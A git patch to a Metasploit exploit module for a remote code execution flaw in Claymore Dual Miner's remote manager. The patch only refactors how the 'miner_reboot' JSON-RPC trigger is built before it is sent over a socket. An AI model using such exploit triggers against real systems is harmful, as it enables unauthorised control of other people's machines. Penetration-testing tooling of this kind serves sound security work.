From e9db9494185fd429b99acc8bd1fb51b1cf0225c2 Mon Sep 17 00:00:00 2001 From: phra Date: Fri, 1 Jun 2018 16:59:38 +0200 Subject: [PATCH] refactor: replace last string with hash --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 0240b59c31..915ba44741 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -96,7 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote end def trigger_vulnerability - execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' + execute = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_reboot' + }.to_json connect sock.put(execute) buf = sock.get_once || ''